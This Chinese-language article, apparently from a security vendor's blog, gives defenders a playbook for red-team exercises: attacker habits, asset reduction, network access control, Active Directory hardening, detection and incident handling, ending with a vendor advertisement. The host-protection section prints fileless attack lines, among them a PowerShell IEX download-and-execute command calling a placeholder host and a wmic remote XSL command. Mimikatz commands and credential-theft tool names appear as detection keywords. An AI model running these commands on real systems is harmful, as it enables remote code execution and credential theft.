最近我們Sinesafe參加的幾家機(jī)構(gòu)的滲透測(cè)試防守方防護(hù)方案評(píng)估復(fù)查,部分防守方缺乏對(duì)攻擊者的正確認(rèn)知,攻擊者的手法已經(jīng)比較高超了,不掃描,不落地,污染日志等都很普及了。同時(shí)也要正確認(rèn)知對(duì)手:攻防演練中,攻擊者并非無(wú)所不能,他們面臨著和防御方一樣的問(wèn)題:時(shí)間緊,任務(wù)重。所以攻擊者的攻擊目標(biāo),攻擊手法也是有跡可循的,知己知彼才能百戰(zhàn)百勝。
滲透測(cè)試
一、知彼
攻擊者也是講成本的,因此防守方最好的策略是:做的比其他防守方好一點(diǎn)點(diǎn)即可。好一點(diǎn)的含義:不在低級(jí)問(wèn)題上犯錯(cuò)(弱密碼、互聯(lián)網(wǎng)應(yīng)用遠(yuǎn)程RCE、管理后臺(tái)暴露、重要服務(wù)器未打補(bǔ)丁等)。對(duì)于“時(shí)間緊、任務(wù)重”的防守方來(lái)說(shuō),修建固若金湯的防線顯然意味著大成本投入,以及最緊缺的時(shí)間,因此本文不會(huì)面面俱到,只選擇性價(jià)比高值得快速投入的安全措施和大家分享。
攻擊者一般:目標(biāo)明確、步驟清晰、控制成本、反檢測(cè),反清理、三流分立。
目標(biāo)明確:攻擊者只攻擊得分項(xiàng),和必要路徑(外網(wǎng)入口,內(nèi)網(wǎng)立足點(diǎn)),對(duì)這些目標(biāo)采取高等級(jí)手段,會(huì)隱蔽操作;對(duì)非必要路徑順路控制下來(lái)的服務(wù)器,并不怕被發(fā)現(xiàn),用起來(lái)比較隨意,甚至主動(dòng)制造噪音,干擾防守方。
步驟清晰:信息收集-控制入口-橫向移動(dòng)-維持權(quán)限-攻擊目標(biāo)系統(tǒng)。每一步都是經(jīng)典操作和教科書式手法。
控制成本:
優(yōu)先攻擊高權(quán)限賬號(hào),如管理員,目標(biāo)系統(tǒng)負(fù)責(zé)人賬號(hào);
優(yōu)先攻擊運(yùn)維/安全人員賬號(hào)和終端,這些人往往有服務(wù)器root賬號(hào),安全設(shè)備管理員賬號(hào),可以進(jìn)一步深入控制;
優(yōu)先攻擊集中管控設(shè)施,如域控,集中身份認(rèn)證系統(tǒng),終端管理系統(tǒng),攻陷單系統(tǒng)即獲得公司內(nèi)大部分系統(tǒng)的權(quán)限;
優(yōu)先攻擊基礎(chǔ)設(shè)施,如DNS,DHCP,郵件系統(tǒng),知識(shí)分享平臺(tái),oa系統(tǒng),工單系統(tǒng);這些系統(tǒng)有內(nèi)置高權(quán)限賬號(hào),或可以幫助攻擊者隱蔽痕跡。或Git/SVN等開發(fā)源代碼管理服務(wù)器,通過(guò)代碼審計(jì)發(fā)現(xiàn)應(yīng)用0day漏洞。
反檢測(cè),反清理:
樣本隱蔽技術(shù)(白利用(帶微軟簽名的程序執(zhí)行未簽名的黑dll),樣本不落地執(zhí)行(從網(wǎng)上加載樣本,只運(yùn)行在內(nèi)存,不落盤不驚動(dòng)殺軟));
快速擴(kuò)散(攻擊者會(huì)將攻擊包做成自動(dòng)化工具,降低人力投入,快速控制一批有漏洞發(fā)服務(wù)器);
停止日志外發(fā),日志清除(腳本優(yōu)先停止常見日志外發(fā)工具;同時(shí)有開源自動(dòng)化工具來(lái)劫持日志產(chǎn)生的進(jìn)程,使得系統(tǒng)不產(chǎn)生日志;使用完后刪除access.log等日志);
減少掃描,通過(guò)分析日志、分析配置文件、管理員來(lái)源IP等方式來(lái)獲取內(nèi)網(wǎng)的其他機(jī)器IP信息,而不是掃描。
點(diǎn)擊添加圖片描述(最多60個(gè)字)
三流分立:
掃描流:用來(lái)大批量掃描內(nèi)網(wǎng)存活I(lǐng)P和漏洞,掃描源通常不被攻擊者重視,被清除也不會(huì)影響到攻擊計(jì)劃,高水平攻擊者通常使用掃描行為來(lái)分散防守方精力。
數(shù)據(jù)流:用來(lái)向外網(wǎng)大量傳輸非關(guān)鍵數(shù)據(jù),通常是有互聯(lián)網(wǎng)權(quán)限的終端或服務(wù)器(終端較多),很少有隧道行為或掃描行為,通過(guò)簡(jiǎn)單的https,sftp方式傳輸數(shù)據(jù)
控制流:用于接受和傳遞遠(yuǎn)控指令的服務(wù)器,攻擊者最重視的設(shè)施,使用起來(lái)最為謹(jǐn)慎,和遠(yuǎn)控中心進(jìn)行交流,常用組件cobaltstrike, empire;有隧道行為,且數(shù)據(jù)傳輸量很少,會(huì)連接若干個(gè)IP和域名(避免外網(wǎng)封禁),傳輸必定加密,不使用自簽名證書。
在本次攻防實(shí)戰(zhàn)演習(xí)準(zhǔn)備階段,攻擊方準(zhǔn)備了幾十個(gè)C2域名。
二、知己知己,主要是知曉防守方防守區(qū)域內(nèi)的資產(chǎn)信息,縮小暴露面。原則如下:
不用的系統(tǒng),該下的下,該暫停的暫停。不用的功能,該下的下,該暫停的暫停。(平時(shí)就應(yīng)該這樣處理,而不是戰(zhàn)時(shí))
該取消訪問(wèn)的取消,能限制訪問(wèn)范圍的限制訪問(wèn)范圍。
在用的,搞清楚功能,雙流(數(shù)據(jù)流和運(yùn)維流)誰(shuí)用,有沒(méi)有風(fēng)險(xiǎn),能否一鍵處置??s小暴露面 1.按資產(chǎn)所屬緯度梳理互聯(lián)網(wǎng)資產(chǎn)、分支機(jī)構(gòu)資產(chǎn)、子公司資產(chǎn)、外聯(lián)公司資產(chǎn)、公有云資產(chǎn)、開發(fā)商、外包商。
容易忽視的:
公有云資產(chǎn),因?yàn)橛械臉I(yè)務(wù)部門和分支機(jī)構(gòu)公有云申請(qǐng)都不經(jīng)過(guò)IT部門,上面卻放了大量業(yè)務(wù)數(shù)據(jù)。
開發(fā)商/外包商的資產(chǎn)。開發(fā)商/外包商一般給甲方外包開發(fā)信息系統(tǒng),開發(fā)商/外包商公司內(nèi)部也會(huì)自建Git/SVN等源代碼管理服務(wù)器,存有已經(jīng)交付給甲方的信息系統(tǒng)源碼,而開發(fā)商/外包商的源碼系統(tǒng)管理安全能力和甲方相比可能就差幾個(gè)量級(jí)了。后果就是:通過(guò)獲得的源碼,發(fā)現(xiàn)系統(tǒng)應(yīng)用0day,從而控制甲方已上線信息系統(tǒng)。
縮小暴露面 2.按資產(chǎn)屬性梳理
特別關(guān)注資產(chǎn)的安全屬性:中間件或框架(版本)、開放在公網(wǎng)API接口(特別是未下線的老接口)、管理后臺(tái)開放在公網(wǎng)、高危功能(文件上傳點(diǎn)、短信驗(yàn)證碼、重置密碼、文件下載)、遠(yuǎn)程接入點(diǎn)(VPN)、特權(quán)賬戶(應(yīng)用管理特權(quán)賬戶、應(yīng)用連接賬戶、系統(tǒng)管理特權(quán)賬戶、可以修改賬戶權(quán)限的賬戶、備份賬戶、高管層賬戶)。
每一個(gè)安全屬性都是血的教訓(xùn)。
縮小暴露面 3.忽視點(diǎn)
所有內(nèi)部文檔服務(wù)器上(含OA、郵件系統(tǒng)、jira、wiki、知識(shí)庫(kù)等)敏感信息清理或限制訪問(wèn)權(quán)限,不要有:網(wǎng)絡(luò)拓?fù)洹踩雷o(hù)方案和部署位置、各類密碼;
資產(chǎn)管理平臺(tái)上,蜜罐不要叫蜜罐、安全設(shè)備IP要隱藏;
各類口令:弱口令、默認(rèn)口令、已泄露口令。
每一個(gè)忽視點(diǎn)都是眼淚的結(jié)晶。
安全資產(chǎn)管理,更多內(nèi)容參加:安全資產(chǎn)管理中容易被忽視的幾點(diǎn)
三、防護(hù)關(guān)鍵點(diǎn)
臨戰(zhàn)前,再想按照大而全的梳理一遍,幾無(wú)可能,最好就是把防護(hù)關(guān)鍵點(diǎn)過(guò)一遍,切記都實(shí)際看一遍,不要相信別人的反饋。
3.1 安全隔離
滲透測(cè)試?yán)@過(guò)
從實(shí)戰(zhàn)來(lái)看,網(wǎng)絡(luò)層的訪問(wèn)控制被證明是最有效的(攻擊者很難繞過(guò)去),不要相信應(yīng)用層控制。網(wǎng)絡(luò)層訪問(wèn)控制屬于基礎(chǔ)架構(gòu)安全,這是最有效最重要的,整個(gè)安全防護(hù)的基礎(chǔ)。
訪問(wèn)控制策略原則:明細(xì)允許,默認(rèn)拒絕。
從內(nèi)網(wǎng)去互聯(lián)網(wǎng)的訪問(wèn)控制
辦公終端:除個(gè)別協(xié)議無(wú)法限制目的IP外,其余協(xié)議全部限制。特殊訪問(wèn)需求,快速開通。有條件的考慮:終端不能直接訪問(wèn)互聯(lián)網(wǎng),需要訪問(wèn)互聯(lián)網(wǎng)的兩種解決方案:另外分配一臺(tái)上網(wǎng)終端、虛擬瀏覽器
辦公服務(wù)器:特殊訪問(wèn)需求開通,默認(rèn)拒絕
生產(chǎn)網(wǎng):生產(chǎn)網(wǎng)終端禁止上互聯(lián)網(wǎng)、服務(wù)器特殊訪問(wèn)需求開通,默認(rèn)拒絕
2.互聯(lián)網(wǎng)訪問(wèn)內(nèi)網(wǎng):對(duì)互聯(lián)網(wǎng)提供服務(wù)的服務(wù)器必須在DMZ,和內(nèi)網(wǎng)隔離。
3.重要系統(tǒng)的訪問(wèn)控制策略
基礎(chǔ)設(shè)施如AD、郵件系統(tǒng)的訪問(wèn)控制。
別小看基礎(chǔ)設(shè)施ACL訪問(wèn)控制,這是對(duì)抗應(yīng)用和系統(tǒng)漏洞的最低成本和最有效措施。漏洞層出不窮,唯有ACL訪問(wèn)控制藥效持久,強(qiáng)烈推薦。
終端安全管控、自動(dòng)化運(yùn)維系統(tǒng)等集中控制系統(tǒng)后臺(tái)登錄限制訪問(wèn)來(lái)源。(優(yōu)先使用網(wǎng)絡(luò)訪問(wèn)控制、其次使用系統(tǒng)層限制、搭配使用應(yīng)用層限制)
3.2 AD防護(hù)
準(zhǔn)備階段
2.加固階段
對(duì)抗權(quán)限提升:對(duì)域賬號(hào)進(jìn)行權(quán)限D(zhuǎn)ACL梳理,加固高權(quán)限賬號(hào)
檢測(cè)高權(quán)限賬號(hào)可以用bloodhound黑客工具監(jiān)測(cè),也可以通過(guò)System Internal Tools的ADExplorer來(lái)進(jìn)行檢測(cè):
1)修改密碼(建議在演習(xí)前臨近時(shí)間進(jìn)行修改)
2)調(diào)整權(quán)限和分組,根據(jù)賬號(hào)的歸屬人的權(quán)限進(jìn)行調(diào)賬,取消非域管賬號(hào)的敏感權(quán)限。
3)修改分組內(nèi)的不合適的人員賬號(hào)。
4)敏感賬號(hào)不允許委派。
5)敏感賬號(hào)不允許取消Kerberos預(yù)鑒權(quán)。
6)敏感賬號(hào)的密碼強(qiáng)度符合規(guī)定。
7)具備直接域管或者間接域管權(quán)限(例如可以修改Domain Admins的賬號(hào)就具備間接域管權(quán)限)的賬號(hào)的活動(dòng)進(jìn)行報(bào)備制度,演習(xí)期間未經(jīng)允許不得進(jìn)行任何操作,包括登錄等等。
8)辦公機(jī)和終端演習(xí)前全部重啟,消除敏感賬號(hào)憑據(jù)留存。
9)服務(wù)器登錄查看相關(guān)憑據(jù),如果有刪除或通過(guò)注銷來(lái)刪除服務(wù)器上留存的憑據(jù)。
10)參照https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-f--securing-domain-admins-groups-in-active-directory配置域管理員權(quán)限。
對(duì)抗攻擊者使用MS14-068,MS17-010攻擊域:從舊到新依次安裝DC上的windows補(bǔ)丁。
對(duì)抗攻擊者使用ExchangeSSRF漏洞:從舊到新依次安裝Exchange上的windows補(bǔ)丁。
對(duì)抗LDAP relay攻擊:在域控上配置LDAP enforce signing。
對(duì)抗LDAP relay和SSRF攻擊:在域控上配置LDAPS channel binding。
對(duì)抗LLMNR/NBT Poisoning攻擊:關(guān)閉域內(nèi)WPAD服務(wù)。
3.檢測(cè)階段
滲透測(cè)試檢測(cè)階段
原則:若域不安全,最佳修復(fù)方案是重裝。
檢測(cè)敏感共享目錄訪問(wèn):訪問(wèn)了AD服務(wù)器的非正常共享目錄 (非SYSVOL文件夾)
檢測(cè)mimikatz一系列攻擊行為:
Mimikatz通過(guò)sysmon進(jìn)程來(lái)進(jìn)行檢測(cè),常見關(guān)鍵字有“gentilkiwi (Benjamin DELPY)”(公司名稱)、
其他關(guān)鍵字:kerberos::golden sekurlsa::pth kerberos::ptt lsadump::dcshadow lsadump::dcsync sekurlsa::logonpasswords privilege::debug misc::skeleton
檢測(cè)Kerberos弱加密方式:非AES加密方式的Kerberos票據(jù)加密請(qǐng)求相當(dāng)可疑
檢測(cè)異常注冊(cè)表變更和dump:DSRMAdminLogonBehavior
變更AdminSDHolder
導(dǎo)出HKLM\SAM內(nèi)容
導(dǎo)出HKLM\SYSTEM內(nèi)容
導(dǎo)出HKLM\SECURITY內(nèi)容
檢測(cè)ntdsutil濫用:使用了ntdsutil的敏感參數(shù)activate instance ntds ;使用了ntdsutil的敏感參數(shù)set dsrm password
檢測(cè)SID history變更:賬號(hào)加入SID History成功、失敗
檢測(cè)lazagne密碼提取工具:特征 lazagne
攻擊者喜歡用的其他工具:
procdump、PsExec、cain、Mshta、cmstp、QuarkPwDump、getpass、gethash、ntdsdump、Get-PassHashes、Wce、psaattack。
3.3 主機(jī)防護(hù)(終端和服務(wù)器)對(duì)抗攻擊者在嘗試控制終端和服務(wù)器時(shí),為了繞過(guò)常規(guī)的殺毒軟件,通常會(huì)使用一些免殺手段。而某些免殺手段(如白利用,樣本不落地執(zhí)行)由于非常穩(wěn)定和高效,更是受到廣大攻擊者的青睞。
1.Powershell IEX組建下載執(zhí)行.(文件在內(nèi)存執(zhí)行,不落硬盤)
利用代碼示例:powershell.exe -nop -whidden -c IEX ((new-objectnet.webclient).downloadstring('http://x.x.x.x:81/aa'))">
監(jiān)測(cè)特征:"IEX” AND “(New-Object Net.WebClient).DownloadString“
2.Windows系統(tǒng)白文件利用(wmic.exe
利用代碼示例:cmd/c wmic os get /format:”\\x.x.x.x\1.xsl”&start/wait notepad
監(jiān)測(cè)特征:"wmic os get" AND "/format"3.Windows系統(tǒng)白文件利用(csc.exe)
利用代碼示例:
"C:/Windows/Microsoft.NET/Framework64/v2.0.50727/csc.exe"/noconfig /fullpaths@"C:/Users/a/AppData/Local/Temp/l1xso2zu.cmdline"
監(jiān)測(cè)特征:"csc.exe" AND ("/r:System.EnterpriseServices.dll"OR "/unsafe")4.Windows系統(tǒng)白文件利用(msiexec.exe)
特征:被動(dòng)執(zhí)行后臺(tái)執(zhí)行的參數(shù),有一定誤報(bào)率。請(qǐng)自行研究,不再舉例。
5.檢測(cè)certutil白利用
特征:常見繞防火墻使用的參數(shù)。請(qǐng)自行研究,不再舉例。
6.檢測(cè)通過(guò)url.dll來(lái)進(jìn)行不落地執(zhí)行
請(qǐng)自行研究,不再舉例。
3.4 賬戶和權(quán)限對(duì)抗
高權(quán)限一律清理,限制使用范圍,每次使用后確認(rèn)。
應(yīng)用權(quán)限通過(guò)日志分析檢測(cè)濫用。
關(guān)注備份賬戶、可修改權(quán)限賬戶的使用。
終端24小時(shí)重啟一次。(對(duì)抗終端權(quán)限抓取類攻擊)
3.5 瞬間死亡
瞬間死亡有兩種方式:路徑打穿、系統(tǒng)打穿。
3.5.1 路徑打穿
直接從未想過(guò)(未設(shè)防)的路徑攻擊過(guò)來(lái)。郵件是控制終端第一選擇入口,具體防護(hù)可參見《企業(yè)安全建設(shè)指南:金融行業(yè)安全架構(gòu)與技術(shù)時(shí)間》第16章:郵件安全。
邊緣網(wǎng)包括無(wú)線和自助終端,包括:打卡機(jī)、自動(dòng)售賣機(jī)、會(huì)議室設(shè)備、ATM機(jī)、排隊(duì)機(jī)等。限制無(wú)線和自助終端網(wǎng)絡(luò)和內(nèi)網(wǎng)訪問(wèn)。
限制分支機(jī)構(gòu)、外聯(lián)公司等網(wǎng)絡(luò)和總部的網(wǎng)絡(luò)訪問(wèn)。
不要相信理論上不能全通,但實(shí)際上存在全通內(nèi)網(wǎng)的系統(tǒng)。(死于方便性)
3.5.2 系統(tǒng)打穿
系統(tǒng)打穿,都是血淚史。因?yàn)槲覀兛偸峭浟诉@些最大的風(fēng)險(xiǎn)源。優(yōu)先攻擊中心化的系統(tǒng)和跨兩網(wǎng)的系統(tǒng),包括終端安全管控控制臺(tái)(控制臺(tái)安全防護(hù)能力很弱)、運(yùn)維管理系統(tǒng)/Zabbix/Nagios/堡壘機(jī)等、單點(diǎn)登錄SSO系統(tǒng)、AD活動(dòng)目錄;
優(yōu)先攻擊基礎(chǔ)設(shè)施:DNS、DHCP、郵件系統(tǒng)、研發(fā)服務(wù)器SVN/Git;
高價(jià)值終端:
網(wǎng)絡(luò)管理員:終端內(nèi)有網(wǎng)絡(luò)拓?fù)浜虯CL控制策略,甚至可以修改訪問(wèn)控制;
安全管理員:有安全防護(hù)方案和檢測(cè)系統(tǒng)、告警系統(tǒng)登錄權(quán)限,很多安全系統(tǒng)做了登錄來(lái)源限制,繞過(guò)手段之一就是控制安全管理員的終端,同時(shí)抓取安全管理員賬戶密碼,攻擊者一舉兩得;
研發(fā)個(gè)人終端/運(yùn)維個(gè)人終端:高價(jià)值數(shù)據(jù);
內(nèi)網(wǎng)掃描器:網(wǎng)絡(luò)權(quán)限較大,哪都能去。
代碼服務(wù)器:代碼數(shù)據(jù)價(jià)值比較高。私有協(xié)議開發(fā)的應(yīng)用程序,源碼要保護(hù)好,有經(jīng)驗(yàn)攻擊團(tuán)隊(duì)帶代碼審計(jì)技能成員,通過(guò)源碼審計(jì)發(fā)現(xiàn)應(yīng)用0day
3.6 容易出問(wèn)題的點(diǎn)
互聯(lián)網(wǎng)應(yīng)用框架RCE
應(yīng)用和中間件管理后臺(tái)暴露
VPN:未啟用雙因素,或存在未啟用雙因素的部分用戶
測(cè)試環(huán)境的測(cè)試系統(tǒng)未及時(shí)打補(bǔ)丁、弱密碼
通過(guò)郵件入口控制辦公終端
跨兩網(wǎng)的設(shè)備
服務(wù)器密碼同質(zhì)問(wèn)題
社工
四、事中和事后
前面分享了很多防護(hù)和檢測(cè)的事項(xiàng),但防守方到了這個(gè)階段,更重要的是考慮一下事中的各種過(guò)載信息的研判和快速應(yīng)急處置措施。我們打內(nèi)部攻防演習(xí)的時(shí)候,最大的困擾是決策和處置。
4.1 過(guò)載信息研判
有效高速的決策機(jī)制,什么權(quán)限范圍內(nèi)的由什么人決策,這是授權(quán)。
什么崗位(人)負(fù)責(zé)什么,這是職責(zé)劃分。比如誰(shuí)負(fù)責(zé)跟蹤每條告警信息到Closed狀態(tài)?誰(shuí)負(fù)責(zé)斷網(wǎng)?誰(shuí)負(fù)責(zé)樣本分析?誰(shuí)負(fù)責(zé)失陷主機(jī)排查?誰(shuí)負(fù)責(zé)溯源路徑?誰(shuí)負(fù)責(zé)記錄?誰(shuí)負(fù)責(zé)匯報(bào)?等等。
4.2 快速應(yīng)急處置
4.2.1 硬件和后勤
大的作戰(zhàn)室,容納全部防守隊(duì)伍;
好的白板(最好電子的),便于梳理攻擊路徑;
準(zhǔn)備好零食和一日三餐、行軍床。
4.2.2 重要信息同步
已經(jīng)淪陷的IP清單(黑名單),同步給所有防守方;
是否C2域名快速判斷,注意真假難辨的域名。
4.2.3 各類應(yīng)急處置措施
斷網(wǎng):快速斷網(wǎng)的操作規(guī)范和自動(dòng)化工具
誘餌
臨時(shí)添加ACL和FW規(guī)則
下線業(yè)務(wù):和業(yè)務(wù)方建立暢通的溝通機(jī)制和快速的決策機(jī)制
如果失陷(疑似)主機(jī),決策用于誘餌,務(wù)必確保誘餌的風(fēng)險(xiǎn)可控,萬(wàn)一持續(xù)利用誘餌在內(nèi)網(wǎng)橫向移動(dòng),再進(jìn)行限制就困難了。
注意體力分配,高水平攻擊者通常使用掃描行為等方式來(lái)分散防守方精力。
4.3 滲透測(cè)試復(fù)檢
攻防實(shí)戰(zhàn)演習(xí)后的總結(jié)改進(jìn)提升,才是最終目的。
4.3.1 防護(hù)薄弱點(diǎn)和改進(jìn)措施
安全團(tuán)隊(duì)
協(xié)作團(tuán)隊(duì)
廠商和第三方
安全團(tuán)隊(duì)不好推動(dòng)的工作,不好講的話,要不到的資源,都可以在這里提出來(lái)。
應(yīng)急處置薄弱點(diǎn)和改進(jìn)措施,落實(shí)到人、計(jì)劃和資源中,才是務(wù)實(shí)的。
4.3.3 資源不足,要資源
安全運(yùn)營(yíng)是必由之路,參見 金融業(yè)企業(yè)安全建設(shè)之路
7*24小時(shí)的安全運(yùn)營(yíng),既然攻擊對(duì)手是7*24小時(shí)的,為什么安全運(yùn)營(yíng)不是呢?
4.3.4 必要的管理層匯報(bào)
五、注意事項(xiàng)
不要影響業(yè)務(wù)。攻防演習(xí)前的加固,需要妥善評(píng)估對(duì)業(yè)務(wù)可用性影響,攻防演習(xí)中的應(yīng)急處置,需要妥善評(píng)估對(duì)業(yè)務(wù)可用性影響,畢竟,業(yè)務(wù)可用性才是老大,安全不是,擺正心態(tài)和位置,如果對(duì)滲透測(cè)試有想法的朋友可以找專業(yè)的網(wǎng)站安全公司來(lái)處理解決,國(guó)內(nèi)推薦Sinesafe,綠盟,啟明星辰,等等的網(wǎng)站安全公司。
我們專注高端建站,小程序開發(fā)、軟件系統(tǒng)定制開發(fā)、BUG修復(fù)、物聯(lián)網(wǎng)開發(fā)、各類API接口對(duì)接開發(fā)等。十余年開發(fā)經(jīng)驗(yàn),每一個(gè)項(xiàng)目承諾做到滿意為止,多一次對(duì)比,一定讓您多一份收獲!